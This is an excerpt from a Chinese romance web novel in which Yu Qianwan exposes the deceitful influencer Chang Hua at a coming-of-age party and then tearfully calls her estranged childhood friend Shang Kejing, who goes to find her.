薄正卿登时变了副谄媚的嘴脸,一秒闭了嘴。 睡前,商恪景打算将手机调个静音,省得好不容易睡着又被吵醒,结果这么一点开,反倒更睡不着了。 商恪景到医院后一直在陪着薄正卿做各种检查,期间好一段时间他都没看手机,医院人多,加之他当时注意力都放在薄正卿的伤上,也没听到手机的消息音。 当下摁开手机,他才看到微信来消息的提醒。 但在微信的提示框下还有个短视频APP的提示框,短视频logo后跟着一串话——【您特别关注的千万万万更新了一条新视频,快来看看吧~】 刚躺下的商恪景突然坐了起来,在点下去前止不住紧张地舔了舔唇。 ……会是她宣布脱粉不再更新与常桦有关视频的消息吗? “你不是要睡觉吗?怎么又起来了?” 薄正卿完全闲不住嘴,见商恪景起来还挺开心,语调掩不住地上扬,“睡不着的话咱俩再聊会儿?” 奈何商恪景压根没理他,全心全意都放在手机里的那条通知上。 齿关不自觉咬紧,呼吸也屏住,商恪景指尖既轻又缓地点到短视频APP的图标上,页面瞬间跳转入短视频APP,自动播放起虞千绾账号最新的那条视频。 网速稍稍慢了一拍,视频尚在加载中,画面是黑的,但是文案显露了出来。 【捕捉到一枚大帅哥/星星眼.emoji】 后面还有一堆tag。 视频也加载完成开始播放,是虞千绾某次去常桦的线下活动拍下的,但那一阵发了太多同个现场的视频剪辑,怕网友觉得来来回回都是同样的妆造和衣服乏味,也怕限流,她便剪好存着等一阵再发。 视频一开始就是虞千绾经过处理变过声的声音,饶是如此也藏不住她语调里的开心和兴奋。 与设想全然想法,商恪景不想再看下去,钝痛的心脏宛若又被剜了一下,他当即切出了软件。 缓了会儿,商恪景彻底心凉地点入微信。 但不可否认,看到虞千绾消息的那一刻,他还是高兴的。 他们之间从来没闹过什么大别扭,两个都比较直给的人遇到矛盾处理起来很积极,有时候就算双方都觉察到不对劲但没说,事后谁主动给个台阶,另个人顺势就下了,很快就重归于好。 可这一次,情况不太一样,如果常桦的事不解决明白,就算当下处理好,心里的坎其实还没过,积攒着日后怕是会爆发更大的矛盾。 而且……他上一秒还看到了那样的一段视频。 虽然商恪景知道虞千绾一直都有提前剪辑好视频定时让平台自动发出的习惯,但她出了这事还选择不取消定时发送的视频,难不成是因为心里还想给常桦机会? 商恪景忍不住地这么想,想着想着,心里又下起了暴雨,覆盖过看到消息刹那的那一点灿烂日光。 可虞千绾主动发了消息试图破冰,他还是给予了回复: [不了] [你吃吧] [我不在家。] 终于等到回复,虞千绾忙不迭点入微信查看。 等待的这段时光里,她脑子里翻滚过很多很多想法,各个都差得不得了,越想越忐忑,她甚至怕商恪景不回复,悬在头上要掉不掉的利剑才最慑人,好在消息音驱散了这种未知的恐慌。 但看完消息后,也没好到哪里去。 虞千绾心绪又陷入了另一种难受。 按照往常他们的相处模式,商恪景肯定会先说,刚刚在干嘛干嘛,才看到消息,然后也不会这么冷淡的就丢下我不在家四个字,会跟她分享说自己要在外面做什么,大概几点回来,或是确定了回来的时间点后再告诉她什么的,更不会加最后那个句号…… 但现在这种情形下,虞千绾也没法再像之前那般直接问他在干嘛,手指在屏幕上敲敲删删,酝酿半天就发出句:[好,那你回来跟我说,我请你出去吃] 这次,商恪景秒回,但却是更为冷淡的——[嗯。] 虞千绾心口彻底闷住,堵塞得不像话。 他们之间从没这样过。 在沙发上思绪乱飞地躺了会儿,虞千绾才又休整情绪给商恪景发了个乖巧等待的可爱表情包。 商恪景没再回。 虞千绾叹了口气,起身拎着川菜去餐桌上吃饭。 等了一个多小时,饭菜已经不热了,温凉温凉的。 虞千绾连把菜放入微波炉里加热的精力都没了,就这么凑合着吃了一顿,反正她也没什么胃口,随便吃点满足身体需求就行。 吃完,虞千绾又窝回沙发上,开始在网上找餐厅。 这样晚上商恪景回来,她就能请他去新餐厅吃饭赔罪了。 结果一直等到晚上九点,远远过了晚饭点,他也没回来。 好几次,虞千绾点入微信想联系他,想问他什么时候回来。 但一进到两人的对话框,看到那句冷淡至极的[嗯。] 她突然就没了勇气,不知该从何开口,又丧丧地滑出页面陷入犹豫中。 虞千绾从没面对过这样的商恪景,有些束手无策。若是能看到他还好些,面对面交涉起来她可以清晰看到他的神情,更明显地感知到他的情绪,偏偏他一天都不在家,完全不给她当面交涉的机会。 明天虞千绾还要去参加周映灵妹妹的成人礼,不像今天这么有空一直待在家,也不知商恪景到底什么时候回来,能不能处理好和他之间的隔阂,若是不能,情绪又隔了一夜、一夜…… 想想就叫人无力,虞千绾索性把家门敞开,如此方便商恪景一回来她就看到。 门开后,电梯的每一次上升下降带起的响声都会牵动她的情绪,使得她忍不住频频探头查看,但电梯没有一次停在他们的楼层。 虞千绾凌晨也没睡好,时至深夜,她有些熬不住,几度在沙发上无意识闭上眼睡着又猛地因些窸窣动静惊醒。 女孩子独居一直把门大敞着还在里面睡觉危险系数有些高,尤其屋外的声控灯灭下的时候,虞千绾从光明望入一片漆黑,免不得会有些害怕,忍不住想会不会突然冒出一个不是商恪景的人。可她又实在想见商恪景,想当面感知感知他的情绪,于是还是强忍着发毛的那点不安用双手撑起眼皮,强迫自己不要睡去。 但随着困意席卷,这样的动作已然没法让虞千绾清醒,时间也一点点流逝,虞千绾感觉自己今晚等不到商恪景了才起身关了门。 可一躺到床上,虞千绾又怕商恪景回来了就这么错过,而他也不知她的等待还当她没心没肺,不想有这样的乌龙,她便又起了身出了趟门,把下午特意给商恪景买的礼物放到了他家的玄关柜上——本来打算吃晚饭给他的,没想到又没见着。 希望他回来看到礼物能开心点。 礼物盒中,虞千绾还特意留了封信。 作者有话说:修文修的字数有点超标,这章先放这么多,常桦等到下章再解决掉。 在尝试日更,没意外的话下章就是9.4晚上更啦![竖耳兔头][竖耳兔头] 第17章 第 17 章 “在哪?”【文案回收】…… 商恪景本打算在医院补完觉后陪着薄正卿吃顿饭就回家的, 哪知道就在饭前扶着薄正卿让他坐起身方便吃饭时,他突然捂着头闭上眼又倒了回去,五官痛苦地皱在一团,有气无力地说自己眼前忽然一阵天旋地转的。 想着可能是躺久了乍然起身所致, 商恪景便让他缓了缓, 哪知薄正卿不仅没半点缓解, 还越躺越说自己头晕, 甚至还开始想吐。 商恪景意识到不对劲, 立即按了铃喊来医生查看。 医生检查后说有些轻微脑震荡,也算是摔倒后常见的症状, 这几天多卧床休息, 头部不要剧烈晃动,以薄正卿的情况最多养个一周就差不多好了。 虽然听到问题不大薄正卿松了口气, 但一想到会这么晕晕乎乎一周他就痛苦,不情不愿地哀嚎了声, “啊……一周啊, 不能打点滴或者吃药早点好吗?” “不能,一周左右好已经是用药的结果了。” 医生果决地拒了后强调,“我说的一周只是保守估计,具体还是要看病人自身的体质, 有些病人两三天就恢复好了, 而且后面逐天症状会减轻舒服些,不会像今天这么难受。” “还有这个啊。” 医生隔空指了指薄正卿放在枕头边的手机,“这几天手机电脑平板这类电子产品都少玩, 不然你的头会更晕,恢复的也慢。” 这句话杀伤力极大,薄正卿霎时就蔫吧了, 发出了更为崩溃但又无力的哀嚎:“啊——” 本来住院休养就够无聊了,结果现在连手机都得少玩,他哪里是这种闲得住的人啊! 商恪景看着薄正卿又惨又好笑的样子,唇角闷不住地上扬,他借着转头和医生讲话掩住了些损友的笑,“行,谢谢医生啊,麻烦您了。” 医生回以微微颔首,“不客气,有什么问题随时喊我。” 商恪景礼貌笑着点了点头。 医生走后,商恪景直接把薄正卿的手机拿了过来,放在他在床上够不到的位置。 “喂,商,嘶——” 薄正卿下意识想护住自己的手机,但手一抬扯着伤口痛,一激动脑子里也仿佛有无数根神经在跳,也痛得不得了,气焰瞬间就散了个彻底。 “都这样了还想玩呢?消停一天吧。” 商恪景没顺着薄正卿的意,他反倒觉得这次让薄正卿出点小事故长长记性挺好的。 许是因为家里人一直在安全这方面管得格外严,薄正卿生出了截然相反的叛逆心思,成年后出国的这几年里不仅将父母不让玩的那些极限项目全都玩个遍,还玩了一堆商恪景听都没听过的极限运动。前者倒没什么,蹦极过山车这种顶多是刺激些,出意外的概率极低极低,但后者不同,商恪景看过薄正卿发来的视频,凡有一点点岔子就是尸骨无存的下场,危险系数委实太大。 所以商恪景觉得薄正卿这次摔伤并不完全是坏事,用一些只需熬熬时间难受一阵的擦伤让他清晰意识到生命的可贵,算是比较小的成本了。 知道商恪景在关心他,薄正卿老实没再索要手机,“那你在这陪我说说话呗,不然我一个人在这待着也太无聊了,肯定会忍不住玩手机的。” vip病房设计和套房差不多,面积挺大,东西也都应有尽有,住起来还凑合,商恪景便联系了司机去他附近的别墅里拿了身换洗的衣服送过来,自己留在了医院陪着薄正卿,薄正卿老说头晕,他也不放心走。另方面,凌晨的难熬在历历在目,商恪景也不想深夜回家再经历一遭,薄正卿的话多在这种时候挺好,能替他扫去脑子里一静下来就浮现出的混乱念头。 身边一直有人说话,脑子静不下来,那些念头便不会过多涌出- 翌日。 虞千绾醒来第一件事就是查看手机,倒是有条新消息,可惜是来自虞昭音的。 姐姐叮嘱她别忘了今天要去参加周映霜的成人礼。 消息栏里依旧没有商恪景的消息。 两人的聊天框因为太久没有对话,已然被一堆群聊压了下去。 自从上大学,虞千绾就莫名其妙地加了好些群,学校大群、院系群、专业群、班群、社团群、竞赛群、小组群……平常搁置着完全没用,但又怕时不时用着不好退,索性就免打扰这么放着。 三年过去,虞千绾已然适应每天Q.Q微信一打开就是固定的那一批人在不同的群里聊天日常,但在今天,她觉得这些群聊格外碍眼,惹得她向下翻找和商恪景的聊天框都有些费劲。 索性,虞千绾给商恪景设置了一个微信置顶,这样点入微信就能看到,防止等了半天还不小心错过了他的消息。 但他怎么还没联系她? 是他一夜都没回来看到她留给他的东西吗? 还是他仍在气头上不想理会她?她的信写得还不够诚恳嘛? 对着天花板长叹口气,虞千绾纠结地在床上翻来滚去,最终实在想得到个答案,她便起了身跟做贼般偷偷把家门打开再偷偷打开了商恪景家门查看情况。 幸好…… 礼物盒还安静摆放着没有拆开过的痕迹,拖鞋也一如昨天。 他确实一夜没回来。 但他干嘛去了?怎么这么久不回来? 难不成是不想见她所以回别墅去住了? 一个担心刚落,另个忧虑又起。 虞千绾烦到不行,也没辙到不行,有些崩溃地抓着头发叫了两声。 但很快,争分夺秒想和商恪景回归从前状态的虞千绾休整好自己又出发了。 他们爸妈在他们成年后给他们买了独立出家的别墅当做成人礼,他俩的别墅也买在一处,但别墅和别墅之间有些距离,不似校门口的房子挨得那么近开门就能去到对方家里。 虞千绾现在去往的地方就是他们的别墅所在地,北河墅。 一方面,她想着无论是瞎想还是真的,反正行动起来总比待在家里什么都不做的要好。 另方面,她其实还挺希望商恪景在北河墅的住处,这样她就能见到他跟他好好聊一聊了。 奈何又是扑了个空,商恪景北河墅的家里依旧空荡荡的一片,并没人在,但起码证明他是真的有事,而不是在刻意躲她。 虞千绾本想给商恪景发消息的,但她凌晨才睡,醒得也迟,从校门口赶来北河墅的路程也不短,后续还得化妆穿礼服再乘车去往周映霜的成人礼举办地,没多少空闲时间了,现在就算联系到商恪景也没什么时间交谈,匆忙且浮于表面的对话不是她想要的,她只得先暂时搁置,回到自己在北河墅的住处里收拾好自己,待到彻底弄完了成人礼的事再和商恪景联系。 这两天的情绪乱糟糟,虞千绾都有些笑不出来,但要去参加别人的成人礼,面上总不能一直寡淡着,怎么也得笑着客套祝福几句。 坐在车上临到宴会厅前,虞千绾对着车内镜练习了一会儿自然笑的模样,否则被旁人瞧见又要联想出一堆传闻,认为她是和周映灵不和才挂脸。 说起周映灵,她们也是自小认识的关系,但虞千绾不知道为什么周映灵对她总有些敌意,起初她还想和周映灵聊开搞清楚问题所在,可后来频频感知到周映灵的恶意,她也没那平白受委屈的道理没再挽回,两人的关系就这么彻底坏了下去。 不过高中毕业后,她们一个留在国内读大学,一个出国留学,至今三年多的时间都没再见过了,只是偶尔会从某位朋友的口中得知些许说新不新说旧不旧的消息。 但她俩不和的消息在朋友之间早不是秘密,甚至达到了一种朋友在其中一个人面前都不敢提另个人好消息的程度,如若提也只说些不好的,否则就像是在夸好友的敌人。 现在想想,虞千绾就觉得莫名,还有些荒谬的好笑。周映灵不知什么时候起对她有种无端的厌恶,她至今也没寻到源头。 窗外风景飞速闪过,五星级酒店的高耸建筑逐渐映入眼帘,就快要到达目的地。 虞千绾拿出手机隔窗拍了张照片发给虞昭音,老实向姐姐报备,示意自己准时到达。 虞昭音那边的回复依旧简约粗暴。 一个ok的emoji和一个转账前后而至。 虞千绾情绪一瞬间变得心花怒放,笑容极其灿烂地绽开,再不用对着镜子练习。毫不客气地收下转账后,她回了个亲亲的表情包过去。 车辆缓缓停下,礼宾员从外拉开车门,虞千绾将手机放回包包里,指间微微提着些裙料款款下了车。 进到宴会厅,虞千绾视线梭巡,想找到熟人结伴。 然而就这么猝不及防的,一个感性上意外理性上并不意外、熟到不能再熟的熟人冷不丁闯入她的视野——是常桦。 周家精心大办了小女儿的成人礼,砸了很多钱进去,但并没有大肆邀请宾客。毕竟家里是开娱乐公司的,稍有些风吹草动就容易传到网上,周家人并不想在互联网上过多暴露隐私,便只邀请了关联密切些的家人、朋友以及事业上接触较多的合作伙伴。 反正无论哪一种,常桦都不可能是邀请对象。 唯一的可能就是,他是周映灵特意邀请来的。 不知是不是因为事先从商恪景那得知过常桦和周映灵的暧昧,心里对常桦的印象也急转直下,此刻亲眼看到常桦在这,虞千绾惊了下后最先涌上的竟不是负面情绪,而是终于要认清这个人结束这段不清不楚关系的解脱释然感。 “千绾,你一个人吗?” 肩膀突然被人从侧拍了下,虞千绾下意识转头看去,瞧见一位大半年未见的朋友褚曼青正在莞尔笑着看着她,她当即拉住朋友的手,微偏着脑袋,声调惊喜还带着些撒娇的意味,“对啊,我刚刚还在满场找人想看看有没有人能一起呢,看到你真是太好了。” “那太好了,我也一个人来的,咱们一起吧。” “好呀。” 两人都是被家里人使唤来参加宴会的,长辈们事多,时间宝贵,不像她们悠闲,而且就是个周家小辈的成人礼,也没到能让长辈们特意赶过来赴宴的程度。家里人也不指望她们过来应酬交际,就代替他们过来露个面赠个礼。两人也不想和一群人挤在一块客套,所以默契找了个清净地悠闲地吃吃喝喝聊聊天。 她们这个圈子里的朋友大多都会在高中后选择出国留学,有些人则是初中高中就直接出国了,虞千绾原先被家人规划的路线也是得出国的,但她不想。 一方面她没有在商界大杀四方的伟大志向,也不会狗血的想着去同姐姐争夺家产,她就想当一条只需要努力一点点的小咸鱼,能简单为姐姐打打下手就很棒了。 另方面她很恋家,也习惯了京市这片土地,不想去往异国他乡一待就是那么多年。爱吃东西的她也不喜欢国外的饮食,时不时吃一顿还行,可若是日日吃,她怕是会崩溃。 彼时经历了好一番拉扯,虞千绾爸妈才同意她不出国,后来高考结束的暑假,周围朋友们纷纷离开京市去往不同的国度,朋友间的联系也因为距离和时差逐渐变少。 褚曼青也是出国留学的一员,在高中时,虞千绾与她的关系是中等偏上的那种,挺不错的关系。这些年间联系虽然少了些,但时不时的会有,也经常在朋友圈点赞评论,彼此还惦记着对方。故以今日见到,两人的话匣子完全打开,在宴会厅中开辟出了自己的一方小天地,沉浸在其中聊得不亦乐乎。 褚曼青和周映灵在一个国家留学,所以知道不少周映灵在国外的新动态,跟虞千绾聊开心扉后,褚曼青声音倏地压下了些,小声问虞千绾:“之前有段时间,你家不是在网上火了一阵嘛?那个短视频,你还记得吗?” “当然记得啦,怎么了?” “我记得后来传起了你和一个男网红的事,好像还是个小明星?说你一直是他站姐,还给他花了不少钱,真的假的?” 褚曼青虽然嘴上在问真的假的,但那眼神和话腔明显是知道了些什么。 虞千绾一瞬间有些失语,真是好事不出门坏事传千里。 她无奈叹了口气笑揶:“你们在国外得知消息的速度还这么快啊?” “那看来是真的了。” 褚曼青朝虞千绾挤了挤眼,“还不都是易辉卓嘛,他比较关注你的消息,正好他看到这事的时候我们正在一个地方聚会,就都知道了。” 易辉卓,出国前追求了虞千绾好些年,算是追求她时间最久且最死皮赖脸的一位,出国后还对她念念不忘老给她发消息。在一次酒后略微失了分寸给虞千绾打电话哭诉自己有多喜欢她,拒绝了他太多次的虞千绾实在受不了这样冷不丁来一次的纠缠,直接把他拉黑了,两人之间的联系才彻底断开。 “当时周映灵也在,就她跟易辉卓扒那个男网红的信息扒的最起劲,扒了半天还说你眼光差,挑了个这样的货色,结果今天那人被她领在身边。” 褚曼青和周映灵的关系很微妙,说好不好说差不差,总归能维持个面上的礼貌,但因为和虞千绾关系好,且知晓周映灵之前怎么针对虞千绾的,褚曼青心里并不喜欢周映灵,心上的天平狠狠偏向虞千绾这边,忿忿道:“那个男网红是不是被她撬走了?” 虞千绾托腮,笑叹了声,“不得不说,她的初吐槽还挺准。” “我瞧着也是,那么轻易就被撬走,自身一点都不坚定。” 褚曼青几乎在自己的想象中确定了周映灵插足虞千绾与常桦感情的事。 虞千绾看着褚曼青为她打抱不平的愤慨样,摇头笑了笑,“其实也没有,我跟他没在一起过,只是有过暧昧。” “那也不是好东西!” 虞千绾重重点头赞同,就是心口又有些发闷了,她完全不知道常桦和周映灵是什么时候开始的,也不知道这么多年常桦究竟是怎么看她的。 毕竟是第一次喜欢一个人,最后却搞成这副样子,她还是很想知道个真相给这段关系画上句号的。 “诶。” 虞千绾扭头瞟了眼四周,只模糊辨认出远处穿着拖尾的礼服和朋友聊天的周映霜,并没发现周映灵和常桦的身影,“你是来的时候遇到他俩在一起了吗?我来的时候只看到常桦独自在跟一个我不认识的人讲话,到现在我还没见到过周映灵。” “对,我来的早一些,那会儿他俩待在一块。而且我感觉周映灵是故意的,她就是知道我们俩关系好,所以故意拉着那个男的过来跟我打招呼,还明里暗里说这个男的和你有关系,你看到可能会不高兴,不然我根本不知道那个男的就是之前网上的那个男网红。” 虞千绾哂笑,“那估计她后面会主动带着常桦来我面前,否则枉费了她这一番周折。” “往好处想,她这也算是做了个好事,让你远离渣男。” 在这事前,虞千绾对常桦的所有形容都是温润谦卑,从没想到短短时间内形容词急转,变成“这种货色”“不是好东西”“渣男”,不禁让她有些割裂感,就好像她认识这么多年的常桦并不是常桦一般。 “那男的以后就知道后悔了,我瞧着周映灵不像喜欢他的样子,他在周映灵面前就跟下属在老板面前似的,点头哈腰的,生怕周映灵不高兴。” 褚曼青竖起一根手指头,“我保证,绝对不出一个月,他就会被周映灵踹掉。周映灵这些年在国外谈的那些对象完全不是这个常桦能比的类型,白嫩白嫩的看着太弱了,而且就是个小网红,玩玩得了,咱们怎么可能跟这样的人结婚。” 虞千绾越听越感觉自己没出息,讪讪尬笑了声。 …… 聊天又过了几个话题。 褚曼青忽然对着虞千绾身后抬了抬下颚示意,“被你说准了,还真来了。” 虞千绾扭头看去,只见周映灵和常桦在朝她们这边走过来,她和常桦的视线就这么乍然隔空对上,常桦一瞬就错开了视线。 虽然隔着一段距离,但虞千绾感觉到常桦的慌乱,她端坐着身形,故作不经意地转回头,拿起饮料轻抿了口,思绪和心脏却乱得要命。 背对着他们,虞千绾看不到他们距离她还有多远的距离,只闻坐在她对面正好能看到他们的褚曼青匪夷所思地咕哝声:“诶?居然不是来找你的。” 虞千绾又扭过头去看,这才发现他们原来是去往的庭院的方向,庭院入口就在距离她们不远处。 捏着杯壁的手一松又是一紧,好烦……为什么还不来找她?她想彻彻底底看清楚常桦同时面对她们俩时的嘴脸,想看看现在的常桦究竟多么的让她陌生。 就在虞千绾刚压下这股烦闷时,手机屏幕亮起。 还是通过短信发来的。 ——[从南边的小门来庭院,看看自己的眼光有多差。] 一串完全没备注的号码,虞千绾却瞬间确定了来信人,认识但关系差到连个微信都没加的人也就只有她了。 虞千绾登时坐立难安起来。 恰好,又有两个结伴的老朋友路过看到她们便过来搭话怀旧。虞千绾趁机起了身,以要去卫生间为由同大家分开,依着短信独自寻找了出来。 庭院估摸有两个入口,不然周映灵也不会在短信里特别提说南边的小门,但很糟糕,虞千绾分不清东西南北,第一次来这家酒店对这里也不熟,不知道另道门在哪,还是通过询问服务生才终于寻到。 天色渐晚,室外的灯已经亮起。 但自小门延伸至庭院里的那截小道平常并没什么人会走,所以灯光并不亮堂,只在路两边每隔一两米设有盏昏黄的落地小灯晕开浅色的光圈,装饰性大于实用性。而且道路还不是连接起来的,是一节一节的,就像是无数个台阶间隔着拼接而成,每两块地砖之间是湿润的泥土覆着草皮,其上偶有几朵不知品类的野花。 刚从灯光明亮的宴会厅过来,虞千绾的眼睛还没适应此处的昏暗,加之穿着礼服和高跟鞋在这样的道路上行动略有不便,她便走得分外谨慎缓慢。 渐渐远离宴会厅,周遭的声音变得寂寥,只有些虫鸣声此起彼伏地从矮丛里传出。 小道尽头便是给客人观赏、休憩用的庭院中心,光线很足。就在逐渐靠近光亮的途中,虞千绾听到了由远及近传来的人声。碍于距离,她听不清那人具体在说什么,只知道有人在说话。 念及周映灵的短信,虞千绾步伐下意识放轻,呼吸微屏,尽量不让高跟鞋跟踩在地砖上发出太大声响被觉察。 随着愈发靠近光亮,人声也就越明显,共有一男一女两道声音,所聊的话也没个重点,东扯扯西扯扯的。 和周映灵太多年没见,虞千绾已经记不太清她的声线,但属于常桦的那道男声虞千绾无比熟悉。 就在距离光亮咫尺之距,虞千绾却停住了步伐。 未知的猜测让人害怕,下定决心面对的那一瞬间也很艰难。 手指蜷了又松,眉头紧了又紧。 到底,虞千绾还是半个身子探出了昏暗,亲眼看到了周映灵和背对着她的常桦。 周映灵显然一直注意着这个方向,虞千绾出现的那一秒她就看到了她,两人的视线短暂对视。 终于可以结束无聊的话题。 周映灵双手环胸,本和常桦笑吟吟的神情骤变为皮笑肉不笑的姿态,食指抵在常桦胸膛把他推着往后了几步,另手捏着他的脸稍加控制着防止他扭头看到虞千绾。声调微抬,“你刚刚看到虞千绾就躲开是什么意思?怕她看到我们俩在一起?” 常桦全然没有意识到虞千绾的到来,更不知自己的声音因为被周映灵朝后推更为清晰的落入虞千绾耳中,“怎么可能?那有什么好怕的?只是我们本来就要来庭院啊,我依着正常路线走而已。” “常桦,我没虞千绾那么好骗,别想拿这种话来糊弄我。” 周映灵收回手,似有些嫌脏的顺手捻住一旁的小树叶子磨了磨指腹,“我既然说出来,就说明我确定你在见到虞千绾的时候心慌了,你要做的只是回答我的问题。” 一贯的话术在周映灵面前毫无用处,常桦一时间沉默住了。 “怎么?还惦记着虞千绾呢?喜欢她?想跟她在一起?你大可以去找她。” “怎么会映灵,我跟你说过的,我不喜欢她,我和她什么关系都没有。” 熟悉的声音,陌生的话语。 虞千绾瞳孔骤缩,僵硬麻木感自足底迅速攀涌,遍布四肢百骸。 “什么关系都没有?” 周映灵悠悠反问:“如果什么关系都没有,你直播的时候她为什么去给你打赏那么多钱,为什么她天天经营宣传你的账号,为什么又去你的线下支持?” “映灵……” 常桦声音低沉了下去,他一旦如此说话,声线仿佛天然有一种无可奈何的破碎感,“我单方面对虞千绾真的没有任何感情,但你知道的,她是嘉澍集团的接班人,随便一句话就能将我彻底在娱乐圈封杀,我家世普通想在娱乐圈闯荡下去不容易,我不能直接拒绝她让她没面子让她不高兴,只能对她阳奉阴违。我知道这样很软弱,很不应该,但我没办法,真的没有办法……如果可以,我也多么希望她不要喜欢我。” “这些话我本来不想和你说的,因为并不能解决什么实际问题,可不想你因为传言乱想伤了心也不想你误解我。” “映灵,你对这样的我很失望吗?抱歉,如果你很介意我曾经碍于权势对虞千绾敢怒不敢言的话,我以后一定加倍弥补你,好吗?别因为不相关的人影响了我们的感情。” ——【“你对这样的我很失望吗?”】 又是这句话,虞千绾嗓子眼突然漫起一阵生理性反胃,险些没抑住干呕出声,眼圈也被呕意逼红。 常桦的话远比虞千绾的预想还要直白伤人许多,她却没有太多难过和心寒,更多的是恶心,恶心自己居然喜欢了这样的一个人那么多年。 “我说了,你只需要回答我的问题,别跟我装。” 周映灵完全不吃常桦这套,听着就烦,“我再问你最后一遍,你这么多年,从来没喜欢过虞千绾?一点都没有?” “没有。” 常桦回答的异常果决,甚至为了在周映灵面前表忠心还又补充道:“这么多年都是虞千绾在缠着我,我很烦也婉拒过很多次,但她不仅用嘉澍集团压我,还给我经纪人压力,搞得我经纪人都来找我很多次,警告我不许违了虞千绾的意不然就要雪藏我。但在遇到你以后我已经和她说清楚了,以后不会再有任何纠葛的。” “哦?” 周映灵挑了挑眉,顺着他的话问:“之前不敢断,怕她封杀你,现在怎么敢了?” “因为我喜欢你,我想和你交往,不能让你受这种委屈。” 常桦一脸情深的样子,看起来跟真的似的。 “是嘛。” 周映灵突然笑的很灿烂,“我还以为你是觉得做我男朋友后不管虞千绾怎么对你我都会帮你处理好这个烂摊子,还会给你砸资源呢。” “怎么会?我的事情我会处理好,我们之间只是感情,不掺杂任何利益。” “确实。” 周映灵一本正经点了点头,“我也是这么想,感情就得纯粹,不能掺杂一点点旁的东西,那样显得好像是为利而来,所以以后,我不会帮你一点的,你的事业还得靠你自己。” 常桦表情有一瞬间的僵愣,虽然很快调整过来可那笑容明显有些勉强,“……当然。” “行,那你等着被封杀吧。” 完全不设防的声音乍然从身后传来,常桦惊得身子一个猛颤,头跟着转过,对上虞千绾眼神的那个瞬间,常桦的表情管理彻底失了控,眼神充斥着被戳穿的恐慌,浑身都漫起了鸡皮疙瘩,脸色登时煞白下去。 周映灵掩唇故作惊讶,“呀,原来常桦说的是真的呀,虞千绾你还真是一直拿封杀威胁他。” “对。” 虞千绾只觉得现在跟他扯什么这些年她对他的付出,她对他的爱意很愚蠢,除了显得自己很傻很可笑外没有任何用处,于是她直接顺着常桦那些离谱的胡话往下,“不仅打算封杀他在娱乐圈,还打算让他滚出京市。” 刚刚放着豪言壮志的常桦此刻立在原地一动不动,肩背因为心虚微微塌陷着,看起来懦弱又无能,毫无闪光点。 虞千绾忽而笑了声,视线掠过他,看向周映灵,“你确定到时候不帮帮你男朋友?” “NONONO。” 周映灵晃了晃手指,“我跟他毫无关系,看场戏罢了。” 听到这话的常桦震惊看向周映灵,宛若大梦初醒,意识到这一切都是周映灵做的局。 他上前两步就挨近虞千绾,“千绾,我——” 眼前忽然一道劲风刮过,视线也晃了下。 “啪——”的一声。 虞千绾用了十足十的劲狠狠地扇到了常桦脸上,力道反震的她手心都隐隐发麻,垂下的手止不住的发颤,她急遽捏住不想让人觉察。 常桦的脸也被这猝不及防的一巴掌打到微微偏过去,额前碎发都是一震。 “真是个垃圾。” 虞千绾到底没忍住低骂了声。 “今日以后,我所参加的场合,你怕是连张入场券都拿不到。” 强撑着,伪装着高傲丢下这么一句,虞千绾转身就走,再不看常桦一眼。 她不想看,也不能看。 否则模糊的视线就会丢脸的暴露在他们面前。 来时摸索着走了好一会儿的小道,回去时只用了三分之一的时间。 每一步,虞千绾都迈得很大,只想快些远离这个曾经让她那么喜欢,如今却让她如此恶心的人。 就在距离小门不远的地方有一个半敞着门的储物间,里面空荡荡的没有人,虞千绾顾及不了太多,泪水已经彻底蓄满了眼眶濒临泪崩点,她迅速进到储物间,反手关上了门,背就靠在门后,这才敢放任眼泪连成串似的疯狂下坠,贝齿咬着下唇尽力忍住哭声防止传到门外被人听到。 豆大的泪珠砸到胳膊上的刹那,虞千绾心口更酸了,她又忆起那日商恪景落到她胳膊上的泪,眼泪掉得更快,心里对商恪景的愧疚之情也更甚。 哭咽着,颤抖着手,虞千绾艰难从包里拿出手机,短短一会儿的功夫满脸都是泪痕,五官也因为哭泣皱着,手机已经识别不出虞千绾的面部无法自动解锁,泪也总往手机屏幕上掉,把屏幕都给模糊了。 她只能用潮湿的手擦拭着潮湿的屏幕,但屏幕沾了水触控不灵敏,总在她努力绷着颤抖的手指输入密码时自动弹入别的数字,数不清删减重按了多少次虞千绾才终于解了锁,如愿拨出电话。 她很怕,怕商恪景不接,怕他真不理她了。 放在商恪景身上的情绪越过常桦,虞千绾连哭泣都闷下,紧抿着唇瓣紧张听着手机里的机械音,但刚刚哭得太厉害,身体一时间还没缓过来,胸膛控制不住地起伏着,鼻息间时而漫出声很轻很轻的抽噎。 听筒里传出的待接机械音响了很久,久到冷不丁出现一声嘟音她还以为是自动挂断的提醒。 更难过的放下手机那瞬,她才发现那不是挂断,而是电话被接通了,手机屏幕上的时间正在一秒一秒地变动着。 虞千绾一怔,赶忙又将手机贴回耳边。 刚刚明明已经抑下的眼泪在这刻又放肆漫出,甚至比原先还要猛烈,委屈自责伤心各种情绪一同泄出,泪水根本克制不住- 手机那头的商恪景正在从医院回小区的路上——薄正卿在医院才藏了一天多点的时间就被他爸妈发现猫腻了,两位长辈风风火火冲来医院先是一通关切又是一通骂。总归薄正卿是有人照顾了,商恪景安心归家。 他原本低着头在玩手机,说是玩,但其实自己也不知道在干什么,手指在屏幕上滑来滑去,反复切着各种页面,心思压根不在上面,仅是靠着这样的动作打发些时间。 突然,心念的人名字自手机顶端弹出,商恪景心跳都漏了一拍,跟着就感觉到了不对劲。 在现在这个时代,相熟的朋友之间很少再用电话号码联系,更多是用微信,起码商恪景和虞千绾是如此,他们虽然都在彼此的通讯录里,但压根没打过几次,全是通过聊天软件。 动作比思虑更快的,商恪景接通了电话。 但将手机放在耳畔的那刻,他刚欲开口的唇兀地止住,须臾又闭合。 闹着别扭并未完全说开的氛围还是有些怪异。 他们就在这样的默然中沉寂良久,谁都没有先开口,也都没有挂断,只屏幕上的通话时间在持续流动着。 忽地,一声明显克制许久但并未克制住的细微抽泣声打破这抹死寂。泄出这么一声后,虞千绾彻底有些绷不住,听起来伤心极了的哽咽断断续续传到商恪景耳中。 即便她一句话都没说,商恪景的心却在顷刻间一沉,心疼和担忧骤时压过一切,他再想不起任何别扭,匆忙又尽可能让她听起来温和地问:“在哪?” 第18章 第 18 章 这首歌很长,不会有人发…… 依着微信里虞千绾发来的定位寻到她的位置, 远远看到她单薄的身形时,商恪景心头很不是滋味。 她分明穿着一身精致漂亮的礼服,却蹲在破败黑暗的楼梯前,非常不合拍的场景, 看起来就不该出现在一幕中。 虞千绾下半张脸埋在膝上, 纤长浓密的发丝垂下遮掩住她的全部面庞, 微颤的肩背透露着她仍在哭泣的信号。 